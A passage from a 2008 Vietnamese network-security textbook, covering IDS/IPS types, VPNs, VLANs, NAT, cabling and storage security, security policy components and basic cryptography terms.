biết được một cuộc tấn công nào đó đã thành công hay thất bại.

Page 61: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

61

2.1.2. Host-based IDS/IPS

H-IDS/IPS là loại IDS/IPS hoạt động trên từng thiết bị và kiểm soát hoạt động của

thiết bị cũng như các tệp tin hệ thống để phát hiện xâm nhập.

Pros:

H-IDS/IPS kiểm soát được một cách chi tiết hơn N-IDS/IPS, thậm chí có thể

xác định được từng tiến trình (process) hay người dung nào có liên quan đến

những hoạt động có ảnh hưởng không tốt tới hệ thống.

Hỗ trợ rất tốt trong việc phát hiện các cuộc tấn công mà N-IDS/IPS bỏ sót và

có thể đánh giá tác hại của một cuộc tấn công khá chính xác.

Có thể sử dụng dịch vụ Host-based encryption để phân tích những gói tin đã

mã hóa.

Có thể hoạt động hiệu quả ở môi trường mạng băng thông lớn (Switch-based

network)

Cons:

Phạm vi hoạt động là khá nhỏ. Nếu dung hệ thống với nhiều HIDS sẽ gặp

vấn đề về chi phí, về khả năng quản lý tập trung…

H-IDS/IPS thường là phần mềm cài trên những máy tính quan trọng cần bảo

vệ, việc H-IDS/IPS xử lý hoạt động hệ thống có thể gây tốn thời gian, tốn tài

nguyên của máy tính.

Thậm chí, hacker có thể khai thác H-IDS/IPS để tấn công DOS cục bộ.

Không có tầm nhìn bao quát về sự xâm nhập hệ thống.

2.1.3. Application-based IDS/IPS

AIDS/IPS hoạt động với các ứng dụng, nghĩa là nó chỉ kiểm soát đối với từng ứng

dụng cụ thể.

Page 62: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

62

Pros:

Phát hiện được chính xác được rất nhiều kiểu tấn công và các hoạt động gây

hại.

Có khả năng lưu vết tốt (theo dõi hành động của một người dung nào đó)

Có thể phân tích cả dữ liệu đã được mã hóa.

Cons:

Phạm vi hoạt động khá hạn chế do chỉ làm việc với 1 số ứng dụng.

Tiêu tốn tài nguyên máy tính một cách đáng kể.

2.2. Phân loại theo nguyên lý hoạt động của IDS/IPS

Không chỉ phân biệt theo phạm vi hoạt động, IDS/IPS còn có thể phân biệt theo

nguyên lý hoạt động hay kỹ thuật phân tích dữ liệu. Một số IDS/IPS sử dụng kỹ

thuật gọi là ‘dò tìm dấu hiệu’ (Signature Detection). Kỹ thuật này tương tự rất

nhiều các chương trình diệt virus- sử dụng các dấu hiệu virus để nhận dạng và

khóa các tệp tin, chương trình… bị nhiễm; nhưng thay vì dấu hiệu virus, ở đây là

cơ sở dữ liệu về lưu thông mạng hoặc các dấu hiệu tấn công (Attack signatures).

Đây là loại kỹ thuật được dung phổ biến nhất hiện nay. Ngoài ra, còn có một loại

IDS/IPS sử dụng kỹ thuật gọi là ‘dò tìm bất thường’ (Anomaly Detection). Nó sử

dụng các luật (rules) hay các định nghĩa được thiết lập trước về sự ‘bình thường’

(Normal) và ‘bất thường’ (Anomal) của hoạt động hệ thống để kiểm soát, báo cáo

và ngăn chặn các hoạt động bất thường nếu có. Hiện tại, loại IDS/IPS này chưa

thật phổ biến, tuy nhiên, hầu hết giới chuyên gia đều cho rằng kỹ thuật này sẽ rất

phát triển trong tương lai.

Chúng ta sẽ tìm hiểu sâu hơn một chút về điểm mạnh yếu của hai kỹ thuật trên:

2.2.1. Signature-based IDS/IPS

Pros:

Phát hiện rất chính xác các dấu hiệu tấn công đã biết.

Cấu hình dễ dàng.

Page 63: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

63

Cons:

Phải thường xuyên cập nhật cơ sở dữ liệu về các dấu hiệu tấn công.

Không phát hiện được các kỹ thuật tấn công mới.

2.2.2. Anomaly-based IDS/IPS

Pros:

Có khả năng phát hiện cả kỹ thuật tấn công mới.

Cons:

Việc xây dựng một mốc cơ sở (Base line) đòi hỏi sự thu thập thông tin toàn

diện và lâu dài. Trong quá trình IDS xây dựng mốc cơ sở, hệ thống không có

khả năng phát hiện/phòng chống xâm nhập.

Tính tương đối của việc hệ thống hoạt động “bình thường” và “bất thường”

khiến việc xác định các cuộc tấn công đôi khi chưa thật sự chính xác Phát

hiện nhầm.

Cấu hình khá phức tạp.

Page 64: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

64

CHƯƠNG 4. MẠNG RIÊNG ẢO

1. Khái niệm

VPN là một mạng riêng sử dụng hệ thống mạng công cộng (thường là Internet) để

kết nối các địa điểm hoặc người dung từ xa với một mạng LAN ở trụ sở trung tâm.

Thay vì dung kết nối thật khá phức tạp như đường dây thuê bao số, VPN tạo ra các

liên kết ảo được truyền qua Internet giữa mạng riêng của một tổ chức với địa điểm

hoặc người dung ở xa. Thông thường, người dung từ xa đơn giản chỉ cần có kết nối

tới nhà cung cấp dịch vụ và sau đó họ sử dụng các phần mềm VPN Client để tạo

kết nối VPN tới trung tâm. Khi đó, người dung có thể sử dụng tài nguyên hệ thống,

trao đổi dữ liệu nội bộ như thể họ đang nằm trong mạng LAN của trung tâm.

Giải pháp VPN (Virtual Private Network) được thiết kế cho những tổ chức có xu

hướng tăng cường thông tin từ xa vì địa bàn hoạt động rộng (trên toàn quốc hay

toàn cầu). Tài nguyên ở trung tâm có thể kết nối đến từ nhiều nguồn nên tiết kiệm

được được chi phí và thời gian.

Một mạng VPN điển hình bao gồm mạng LAN chính tại trụ sở (Văn phòng chính),

các mạng LAN khác tại những văn phòng từ xa, các điểm kết nối (như 'Văn phòng'

tại gia) hoặc người sử dụng (Nhân viên di động) truy cập đến từ bên ngoài.

Page 65: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

65

2. Các loại VPN

Có hai loại phổ biến hiện nay là VPN truy cập từ xa (Remote-Access ) và VPN

điểm-nối-điểm (site-to-site).

2.1. VPN truy cập từ xa

VPN truy cập từ xa còn được gọi là mạng Dial-up riêng ảo (VPDN), là một kết nối

người dung-đến-LAN, thường là nhu cầu của một tổ chức có nhiều nhân viên cần

liên hệ với mạng riêng của mình từ rất nhiều địa điểm ở xa. Ví dụ như công ty

muốn thiết lập một VPN lớn phải cần đến một nhà cung cấp dịch vụ doanh nghiệp

(ESP). ESP này tạo ra một máy chủ truy cập mạng (NAS) và cung cấp cho những

người sử dụng từ xa một phần mềm máy khách cho máy tính của họ. Sau đó, người

sử dụng có thể gọi một số miễn phí để liên hệ với NAS và dung phần mềm VPN

máy khách để truy cập vào mạng riêng của công ty. Loại VPN này cho phép các

kết nối an toàn, có mật mã.

Hình minh họa cho thấy kết nối giữa Văn phòng chính và "Văn phòng" tại gia hoặc

nhân viên di động là loại VPN truy cập từ xa).

2.2. VPN điểm-nối-điểm

VPN điểm-nối-điểm là việc sử dụng mật mã dành cho nhiều người để kết nối nhiều

điểm cố định với nhau thông qua một mạng công cộng như Internet. Loại này có

thể dựa trên Intranet hoặc Extranet. Loại dựa trên Intranet: Nếu một công ty có vài

địa điểm từ xa muốn tham gia vào một mạng riêng duy nhất, họ có thể tạo ra một

VPN intranet (VPN nội bộ) để nối LAN với LAN. Loại dựa trên Extranet: Khi một

công ty có mối quan hệ mật thiết với một công ty khác (ví dụ như đối tác cung cấp,

khách hàng...), họ có thể xây dựng một VPN extranet (VPN mở rộng) kết nối LAN

với LAN để nhiều tổ chức khác nhau có thể làm việc trên một môi trường chung.

Trong hình minh họa trên, kết nối giữa Văn phòng chính và Văn phòng từ xa là

loại VPN Intranet, kết nối giữa Văn phòng chính với Đối tác kinh doanh là VPN

Extranet.

VPN sử dụng một số giao thức trong việc mã hóa đường truyền bao gồm Secure

Internet Protocol (IPSec), Layer 2 Tunneling Protocol (L2TP), Point to Point

Tunneling Protocol (PPTP) và SSH. IPSec hiện tại được coi là giao thức được sử

dụng phổ biến nhất khi triển khai VPN, tiếp theo là các giao thức L2TP và PPTP.

Page 66: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

66

SSH cũng là một giao thức hỗ trợ cả VPN trên nền HĐH Windows, tuy nhiên nó

được dung nhiều hơn ở VPN trên nền UNIX.

Các giao thức này sẽ được đề cập cụ thể hơn ở phần sau – phần Mã Hóa.

Page 67: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

67

CHƯƠNG 5. VLAN

1. Khái niệm

- Broadcast domain: là một vung logic trong mạng máy tính, nơi mà bất cứ máy

tính hay thiết bị mạng nào kết nối vào mạng đó thì chúng có thể truyền phát trực

tiếp đến bất cứ máy tính hay thiết bị mạng nào trong vung. Vấn đề này có thể hiểu

một cách rõ nét hơn khi ta nhìn nhận trên một thiết bị chuyển mạch: khi một máy

tính hay thiết bị gửi một gói tin đến thiết bị chuyển mạch thì thiết bị chuyển mạch

sẽ phát tán đến tất cả các cổng mạng còn lại, lúc này tất cả các cổng trên thiết bị

chuyển mạch được xem là thuộc cung một broadcast domain, và nếu thiết bị

chuyển mạch này kết nói đến thiết bị chuyển mạch khác thì tất cả các cổng trên

thiết bị chuyển mạch này cũng thuộc về broadcast domain của cổng (và có thể là

tất cả các cổng còn lại) của thiết bị chuyển mạch mà nó kết nối đến.

- Collision domain: là một vung logic trong mạng máy tính, nơi mà các gói dữ

liệu có thể xung đột với một gói dữ liệu khác, đặc biệt là trong giao thức mạng

ethernet. Một collision domain có thể là một segment đơn le của cáp mạng

ethernet, một hub mạng, hay thậm chí là toàn bộ hệ thống mạng với các hub và

repeater liên kết với nhau.

- VLAN (Virtual Local Area Network) có thể định nghĩa đơn giản như một tập hợp

các cổng của 1 hay nhiều switch nằm trong cung một Broadcast Domain.

2. Ứng dụng của VLAN

2.1. Tiết kiệm chi phí

Giả sử một công ty có 3 bộ phận là: Engineering, Marketing, Accounting, mỗi bộ

phận trên lại trải ra trên 3 tầng. Để kết nối các máy tính trong một bộ phận với

nhau thì ta có thể lắp cho mỗi tầng một switch. Điều đó có nghĩa là mỗi tầng phải

dung 3 switch cho 3 bộ phận, nên để kết nối 3 tầng trong công ty cần phải dung tới

9 switch. Rõ ràng cách làm trên là rất tốn kém mà lại không thể tận dụng được hết

số cổng (port) vốn có của một switch. Chính vì lẽ đó, giải pháp VLAN ra đời nhằm

giải quyết vấn đề trên một cách đơn giản mà vẫn tiết kiệm được tài nguyên.

Page 68: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

68

2.2. Tiết kiệm băng thông của hệ thống mạng

VLAN chia mạng LAN thành nhiều đoạn (segment) nhỏ, mỗi đoạn đó là một vung

quảng bá (broadcast domain). Khi có gói tin quảng bá (broadcast), nó sẽ được

truyền duy nhất trong VLAN tương ứng. Do đó việc chia VLAN giúp tiết kiệm

băng thông của hệ thống mạng.

2.3. Tăng khả năng bảo mật

Do các thiết bị ở các VLAN khác nhau không thể truy nhập vào nhau (trừ khi ta sử

dụng router nối giữa các VLAN). Như trong ví dụ trên, các máy tính trong VLAN

kế toán (Accounting) chỉ có thể liên lạc được với nhau. Máy ở VLAN kế toán

không thể kết nối được với máy tính ở VLAN kỹ sư (Engineering).

2.4. Dễ dàng thêm hay bớt máy tính vào VLAN

Việc thêm một máy tính vào VLAN rất đơn giản, chỉ cần cấu hình cổng cho máy

đó vào VLAN mong muốn.

2.5. Giúp mạng có tính linh động cao

VLAN có thể dễ dàng di chuyển các thiết bị. Giả sử trong ví dụ trên, sau một thời

gian sử dụng công ty quyết định để mỗi bộ phận ở một tầng riêng biệt. Với VLAN,

ta chỉ cần cấu hình lại các cổng switch rồi đặt chúng vào các VLAN theo yêu cầu.

Page 69: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

69

CHƯƠNG 6. NETWORK ADDRESS TRANSLATION

1. Khái niệm

Network Address Translation (NAT) là 1 quá trình mà trong đó một thiết bị mạng

(thường là Firewall, Modem, Router) cung cấp 1 đại chỉ public (internet) cho 1

hoặc nhiều máy tính nằm bên trong vung internal. NAT cung cấp một số lợi ích,

một trong số đó là cung cấp khả năng giấu địa chỉ IP cũng như thiết kế hệ thống

mạng nội bộ. Điều này ngăn ngừa khả năng hacker từ bên ngoài thu thập thông tin

về hệ thống nội bộ và khai thác các thông tin đó để tiến hành xâm nhập. Nếu

hacker không thể biết cấu trúc mạng nội bộ, địa chỉ IP, chức năng từng thiết bị… ,

hacker sẽ khó có thể tấn công vào hệ thống.

NAT còn cho phép hệ thống nội bộ sử dụng địa chỉ IP dành riêng (Private IP)

nhưng vẫn có khả năng kết nối đến tài nguyên bên ngoài (internet). Điều này giúp

tiết kiệm địa chỉ IP tĩnh (Public IP), và qua đó tiết kiệm chi phí đầu tư của doanh

nghiệp.

2. Phân loại NAT

Hiện tại có 3 loại công nghệ NAT phổ biến là :

2.1. Static NAT (NAT tĩnh)

Page 70: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

70

Là loại công nghệ NAT ra đời đầu tiên. NAT tĩnh chỉ cho phép 1 địa chỉ bên ngoài

(Public IP) đại diện cho 1 địa chỉ bên trong (Private IP).

Hiện tại công nghệ này ít được sử dụng do hạn chế trên.

2.2. Dynamic NAT hay Pooled NAT (NAT động)

Công nghệ này linh hoạt hơn so với công nghệ NAT tĩnh.

Công nghệ này cho phép nhiều địa chỉ bên ngoài (Public IP) đại diện cho nhiều

địa chỉ bên trong (Private IP). Tuy nhiên, tại cung 1 thời điểm, số địa chỉ bên trong

được NAT tối đa bằng số địa chỉ bên ngoài.

2.3. Port Address Translation (PAT)

Đây là công nghệ NAT hiện đang được sử dụng nhiều nhất do tính ưu việt của nó.

Page 71: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

71

PAT cho phép chỉ 1 địa chỉ IP public đại diện cho rất nhiều địa chỉ bên trong bằng

cách gán các cổng khác nhau cho từng kết nối và lưu các thông tin vào bảng PAT.

Khi nhận gói tin trả về, PAT sẽ so sánh với bảng PAT để chuyển gói tin đến đúng

nguồn kết nối.

Page 72: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

72

CHƯƠNG 7. AN NINH TRUYỀN DẪN VÀ LƯU TRỮ

1. Cáp đồng trục

Công nghệ này tồn tại một số điểm yếu. Đó là chúng dễ dàng bị lợi dụng để tấn

công từ chối dịch vụ (DOS attack) bằng cách cắt cáp hoặc ngắt cáp khỏi một thiết

bị nào đó trong mạng. Ngoài ra, với mạng dung cáp đồng trục, hacker có thể dễ

dàng xâm nhập vào mạng bằng cách cắt cáp rồi cắm vào máy của mình.

Những điểm yếu này tồn tại do cách hoạt động của mạng dung cáp đồng trục- đó là

mô hình mạng tuyến tính (Bus topology), tất cả các thiết bị đều phải kết nối vào

mạng để đảm bảo mạng đóng. Do vậy, khi một thiết bị bị ngắt khỏi mạng hoặc cáp

bị đứt ở bất kì đâu, toàn bộ mạng sẽ tê liệt.

Cáp đồng trục

Page 73: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

73

Bus topology

2. Cáp UTP/STP

Cáp xoắn không bọc (Unshielded Twisted Pair - UTP) và cáp xoắn có bọc

(Shieded Twisted Pair - STP) là 2 loại cáp được dung phổ biến nhất hiện nay. Các

loại cáp này đều hỗ trợ nhiều mô hình mạng: Mạng tuyến tính, mạng vòng, mạng

hình sao…

Điểm yếu lớn nhất của cáp UTP là không chống được nhiễu gây ra bởi hiện tượng

giao thoa điện từ (Electromagnetic Interference – EMI) và giao thoa tần số sóng vô

tuyến (Radio Frequency Interference – RFI). Do vậy, người ta thường phải đặt cáp

UTP cách xa so với đường dây điện. Cáp STP được bọc một lớp lưới kim loại có

thể khử được nhiễu nhưng lại gặp vấn đề về chi phí cũng như sự dễ dàng trong

triển khai.

3. Cáp Quang

Để khắc phục nhược điểm của cáp đồng người ta đã cho ra đời cáp quang cung với

những tính năng ưu việt hơn. Không giống như cáp đồng truyền tín hiệu bằng điện,

cáp quang dung ánh sáng để truyền tín hiệu đi. Chính vì sự khác biệt đó mà cáp

quang ít bị nhiễu, tốc độ cao và truyền xa hơn.

Cấu tạo cáp quang

Page 74: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

74

Cáp quang dài, mỏng thành phần của thủy tinh trong suốt bằng đường kính của

một sợi tóc. Chúng được sắp xếp trong bó được gọi là cáp quang và được sử dụng

để truyền tín hiệu trong khoảng cách rất xa. Cáp quang có cấu tạo gồm dây dẫn

trung tâm là sợi thủy tinh hoặc plastic đã được tinh chế nhằm cho phép truyền đi

tối đa các tín hiệu ánh sáng. Sợi quang được tráng một lớp lót nhằm phản chiếu tốt

các tín hiệu.

Ưu điểm

• Chi phí - Chi phí thấp hơn so với cáp đồng

• Mỏng hơn - Cáp quang được thiết kế có đường kính nhỏ hơn cáp đồng.

• Dung lượng tải cao hơn - Bởi vì sợi quang mỏng hơn cáp đồng, nhiều sợi quang

có thể được bó vào với đường kính đã cho hơn cáp đồng. Điều này cho phép nhiều

kênh đi qua cáp của bạn.

• Suy giảm tín hiệu ít - Tín hiệu bị mất trong cáp quang ít hơn trong cáp đồng.

• Tín hiệu ánh sáng - Không giống tín hiệu điện trong cáp đồng, tín hiệu ánh sáng

từ sợi quang không bị nhiễu với những sợi khác trong cung cáp. Điều này làm cho

chất lượng tín hiệu tốt hơn.

• Sử dụng điện nguồn ít hơn - Bởi vì tín hiệu trong cáp quang giảm ít, máy phát có

thể sử dụng nguồn thấp hơn thay vì máy phát với điện thế cao được dung trong cáp

đồng.

• Tín hiệu số - Cáp quang lý tưởng thích hợp để tải thông tin dạng số mà đặc biệt

hữu dụng trong mạng máy tính.

• Không cháy - Vì không có điện xuyên qua cáp quang, vì vậy không có nguy cơ

hỏa hạn xảy ra.

Hiện tại, cáp quang được coi là phương tiện truyền dẫn an toàn. Tuy nhiên, một số

thông tin không chính thức gần đây cho biêt, chính phủ Nga đã chế tạo được một

thiết bị có thể nghe lén thông tin truyền qua cáp quang thông qua cơ chế phân tích

bước sóng.

Page 75: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

75

4. Các thiết bị lưu trữ

Các thiết bị lưu trữ thường có:

Băng từ

Đĩa CD/DVD

Ổ cứng

USB

Smartcards

Nhìn chung, đây là các thiết bị lưu trữ nhỏ gọn, dễ di chuyển, nên cần chú ý đến

nguy cơ bị mất cắp thiết bị.

Ngoài ra, với các thiết bị như USB, Smartcards, cần tránh lưu giữ những dữ liệu

quan trọng, nên mã hóa dữ liệu cũng như cung cấp các cơ chế xác thực.

Với ổ đĩa cứng, nên sử dụng các cơ chế mã hóa dữ liệu, tăng tính dự phòng bằng

cách sử dụng Raid…

Page 76: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

76

CHƯƠNG 8. CHÍNH SÁCH AN NINH MẠNG

1. Khái niệm

An ninh mạng là một khía cạnh của an ninh thông tin nói chung. An ninh mạng

tập trung vào các vấn đề liên quan đến mạng máy tính nói chung của tổ chức từ hạ

tầng mạng đến các dịch vụ mạng, các ứng dụng mạng hay yếu tố con người khi

tham gia vào hoạt động mạng… Do vậy, chúng ta sẽ tìm hiểu các khái niệm tổng

quan về an ninh thông tin. Từ đó có được khái niệm về an ninh mạng.

An ninh mạng cũng như An ninh thông tin được định nghĩa qua ba yêu cầu sau:

1. Tính tin cậy (Confidentiality): đảm bảo thông tin chỉ không bị truy nhập trái

phép bởi một bên thứ ba.

2. Tính toàn vẹn (Integrity): Bảo vệ sự chính xác, đầy đủ của thông tin và cách

thức xử lý thông tin.

3. Tính sẵn sàng (Availability): Đảm bảo những người được cấp quyền có thể

truy nhập thông tin

Thời gian gần đây, do sự xuất hiện của thương mại điện tử, người ta nhấn mạnh

thêm 2 yêu cầu nữa, đó là:

4. Tính xác thực (Authentication): Thông tin phải được đảm bảo có nguồn gốc,

xuất xứ rõ ràng.

5. Tính không thể thoái thác (Non-repudiation): Các bên tham gia quá trình

trao đổi thông tin không thể từ chối công nhận một hành động nào đó đã

thực hiện.

Để đảm bảo được những yêu cầu trên, việc đầu tiên tổ chức cần làm là thiết lập

một chính sách an ninh mạng. Một chính sách an ninh mạng sẽ xác định rõ nhu cầu

của tổ chức, đảm bảo mạng máy tính hoạt động đúng, an toàn và có các quy trình

nhằm ngăn ngừa và xử lý khi có sự cố về an ninh. Một chính sách an ninh mạng là

nền tảng trong việc bảo mật mạng vì nó chỉ rõ những tài nguyên mạng nào cần bảo

vệ và những nguy cơ có thể xảy đến đối với tài nguyên đó. Chính sách an ninh

mạng cũng đánh giá một cách cụ thể từng tài nguyên mạng, so sánh nó với giá trị

Page 77: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

77

sử dụng, khả năng bị khai thác trái phép, tổn thất gây ra nếu bị lợi dụng… nhằm

đưa ra các mức bảo vệ khác nhau.

2. Các thành phần của một chính sách an ninh mạng

Mỗi chính sách an ninh mạng được xây dựng với mỗi tổ chức là khác nhau. Nó

phụ thuộc vào nhiều yếu tố như nhu cầu về an ninh mạng của tổ chức, khả năng

đáp ứng về mặt chi phí, nhân lực… Tuy nhiên, một chính sách an ninh mạng về cơ

bản có những thành phần sau:

Các chính sách về an ninh lớp vật lý (Physical Security)

o Chính sách về an ninh lớp vật lý thường bao gồm việc xây dựng mô hình

mạng (1-site hay multi-site…), các thiết bị mạng được bảo vệ thế nào, ai

được truy cập vào những vị trí đặc biệt như phòng data-center, phòng

IT…

Các chính sách về an ninh lớp Mạng (Network Security)

o Chính sách về an ninh lớp mạng chỉ rõ các thiết bị mạng, tài nguyên

mạng được bảo về bằng cách nào. Nó có thể bao gồm các tiêu chuẩn liên

quan đến việc kiểm soát truy cập (access control), tường lửa, giám sát

thống kê ở lớp Mạng, truy cập từ xa, dịch vụ thư mục (directory

services), dịch vụ Internet…

Các chính sách kiểm soát truy cập (Access Control)

o Kiểm soát truy cập sẽ xác định rõ ai được truy cập tới cái gì. Và làm thế

nào để đảm bảo được chính xác chỉ đúng người được phép mới truy cập

được tới đúng thông tin hoặc dịch vụ nào đó. Một chính sách kiểm soát

truy cập tốt là một chính sách đơn giản và vẫn đảm bảo được yêu cầu

kiểm soát.

Các chính sách về xác thực (Authentication)

o Các chính sách về xác thực xác định cách xác thực nào đối với từng

nhóm người dung và với từng loại tài nguyên, dịch vụ họ truy cập.

Page 78: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

78

Ví dụ: Người dung chỉ cần nhập Username/password khi muốn đăng

nhập vào máy tính của mình, nhưng muốn ra internet, họ bắt buộc phải

sử dụng cung với Smart Card.

Các chính sách về mã hóa (Encryption)

o Chính sách về mã hóa nhằm đảm bảo sự toàn vẹn của dữ liệu, và bảo vệ

những thông tin nhạy cảm khi truyền qua những môi trường không an

toàn.

Các chính sách về sự tuân thủ (Compliance)

o Chính sách về sự tuân thủ đảm bảo mọi đối tượng trong phạm vi áp dụng

phải tuân thủ những quy định trong chính sách. Nó cũng chỉ ra các

phương pháp để nhận biết sự không tuân theo của một đối tượng nào đó

hay mức phạt áp dụng đối với từng sự vi phạm.

Các chính sách về giám sát thống kê (Auditing)

o Khi một chính sách được thiết lập, điều quan trọng là nó phải được giám

sát và thống kê thường xuyên để đảm bảo tất cả các thành phần tham gia

đã và đang tuân theo.

Các chính sách về nhận thức an ninh mạng (Security Awareness)

o Nhận thức của nguời dung là một phần quan trọng hàng đầu của việc

đảm bảo an ninh mạng. Các chính sách về nhận thức an ninh mạng nhằm

đảm bảo người dung có sự hiểu biết đầy đủ về các nguy cơ an ninh mạng,

tránh trường hợp người dung vô tình gây hại cho hệ thống hoặc bị lợi

dụng để làm điều đó. Thông thường, người dung cần được trang bị kiến

thức về cách bảo vệ mật khẩu của họ cũng như các thủ đoạn lừa đảo trên

mạng (Social Engineering Attacks)

Các chính sách về phòng chống thảm họa (Disaster Recovery)

o Chính sách về phòng chống thảm họa xác định rõ làm thế nào để hoạt

động mạng của tổ chức được phục hồi nhanh chóng sau khi có bất kể loại

Page 79: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

79

thảm họa tự nhiên (cháy, nổ ,động đất, bảo lụt…) hay cuộc tấn công nào

xảy ra.

Ví dụ: Chính sách về phòng chống thảm họa sẽ bao gồm việc backup hệ

thống (backup theo kiểu gì, backup thường xuyên thế nào, backup cái

gì…), xác định những đối tượng tham gia xử lý khi có sự cố xảy ra, việc

xây dựng kỹ năng cho những người tham gia xử lý sự cố…

Chính sách sử dụng phần mềm (Software Security)

o Chính sách sử dụng phần mềm quy định những phần mềm nào được sử

dụng trên máy chủ, máy trạm và các thiết bị mạng khác. Chính sách cũng

xác định rõ người được phép mua và cài đặt phần mềm trên các máy.

Như đã đề cập ở trên, mỗi tổ chức có những yêu cầu và điều kiện khác nhau nên

chính sách an ninh mạng cũng khác nhau. Tuy nhiên, khi xây dựng một chính sách

an ninh mạng, những người có trách nhiệm nên tham khảo các chính sách an ninh

mạng mẫu (template) để có sự quy chuẩn.

Page 80: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

80

CHƯƠNG 9. CÁC NGUYÊN TẮC CƠ BẢN

Sau khi thiết kế được một chính sách an ninh mạng phu hợp, nhu cầu tiếp theo là

phải xây dựng hệ thống dựa trên chính sách đó.

Về cơ bản, việc xây dựng một hệ thống mạng bảo mật gồm 4 bước chính sau:

Bước 1 (Security): Xây dựng các

giải pháp bảo mật

Tiến hành nghiên cứu, xây dựng

các giải pháp bảo mật phu hợp.

Bước 2 (Monitor): Kiểm tra, giám

sát hệ thống

Kiểm soát hoạt động, đánh giá tính

an toàn của hệ thống.

Duy trì tính ổn định, bảo mật của

hệ thống.

Bước 3 (Test): Kiểm tra

Thực hiện kiểm tra các điểm yếu của hệ thống, phân tích các nguy cơ có thể

ảnh hưởng đến hệ thống.

Bước 4 (Improve): Thông qua giải pháp

Sử dụng những thông tin thu được từ bước 2 và 3 để có đánh giá chính xác

về khả năng đáp ứng về bảo mật của hệ thống.

Điều chỉnh chính sách an ninh mạng và các giải pháp bảo mật nếu xuất hiện

những lỗ hổng và nguy cơ phát sinh.

Page 81: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

81

PHẦN 3

MÃ HÓA

Page 82: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

82

Thế kỷ XXI thế kỷ công nghệ thông tin, thông tin đã và đang tác động trực tiếp đến

mọi mặt hoạt động kinh tế xã hội của hầu hết các quốc gia trên thế giới. Thông tin

có một vai trò hết sức quan trọng, bởi vậy chúng ta phải làm sao đảm bảo đư tính

trong suốt của thông tin nghĩa là thông tin không bị sai lệch, bị thay đổi, bị lộ trong

quá trình truyền từ nơi gửi đến nơi nhận.

Với sự phát triển rất nhanh của công nghệ mạng máy tính đặc biệt là mạng

INTERNET thì khối lượng thông tin ngày càng chuyển tải nhiều hơn. Những tập

đoàn công nghiệp, những công ty đa quốc gia, thị trường chứng khoán tiến hành

xử lý và truyền nhận những thông tin đắt giá, những phiên giao dịch hay mua bán

cổ phiếu, trái phiếu đều được tiến hành qua mạng. Giờ đây với sự tăng trưởng

nhanh của các siêu thị điện tử, thương mại điện tử thì hàng ngày có một khối lượng

tiền rất lớn được lưu chuyển trên mạng toàn cầu INTERNET, vấn đề khó khăn đặt

ra là làm sao giữ được thông tin bí mật và giữ cho tiền đến đúng được địa chỉ cần

đến.

Bạn sẽ ra sao nếu như bạn gửi thư cho một người bạn nhưng lại bị một ke lạ mặt

nào đó xem trộm và sửa đổi nội dung bức thư trái với chủ ý của bạn, tệ hại hơn nữa

là khi bạn ký một hợp đồng, gửi thông qua mạng và lại bị ke xấu sửa đổi những

điều khoản trong đó, và sẽ còn nhiều điều tương tự như vậy nữa ... Hậu quả sẽ như

thế nào nhỉ ? Bạn bị người khác hiểu nhầm vì nội dung bức thư bị thay đổi, còn

hợp đồng bị phá vỡ bởi những điều khoản đã không còn nguyên vẹn. Như vậy là cả

tình cảm, tiền bạc của bạn và nói rộng hơn là cả sự nghiệp của bạn đều bị đe dọa

nếu như những thông tin mà bạn gửi đi không đảm bảo được tính nguyên vẹn của

chúng. Mã hoá là một trong các phương pháp đảm bảo được tính trong suốt của

thông tin. Nó có thể giải quyết các vấn rắc rối ở trên giúp bạn, một khi thông tin đã

được mã hoá và gửi đi thì ke xấu rất khó hoặc không thể giải mã được.

Page 83: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

83

CHƯƠNG 1. CĂN BẢN VỀ MÃ HÓA

Trước khi tìm hiểu về mã hóa, cần làm rõ 1 số thuật ngữ căn bản sau:

-Bản rõ (plaintext hay cleartext)

Chứa các xâu ký tự gốc, thông tin trong bản rõ là thông tin cần mã hoá để

giữ bí mật.

-Bản mã (ciphertext)

Chứa các ký tự sau khi đã được mã hoá, mà nội dung được giữ bí mật.

-Mật mã học (Crytography)

Là nghệ thuật và khoa học để giữ thông tin được an toàn.

-Sự mã hoá (Encryption)

Quá trình che dấu thông tin bằng phương pháp nào đó để làm ẩn nội dung

bên trong gọi là sự mã hoá.

-Sự giải mã (Decryption)

Quá trình biến đổi trả lại bản mã bản thành bản rõ gọi là giải mã.

Quá trình mã hoá và giải mã được thể hiện trong sơ đồ sau:

-Hệ mật mã : là một hệ bao gồm 5 thành phần (P, C, K, E, D) thoả mãn các tính

chất sau

Mã hoá Giải mã Bản rõ Bản

Bản rõ gốc

Page 84: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

84

P (Plaintext) là tập hợp hữu hạn các bản rõ có thể.

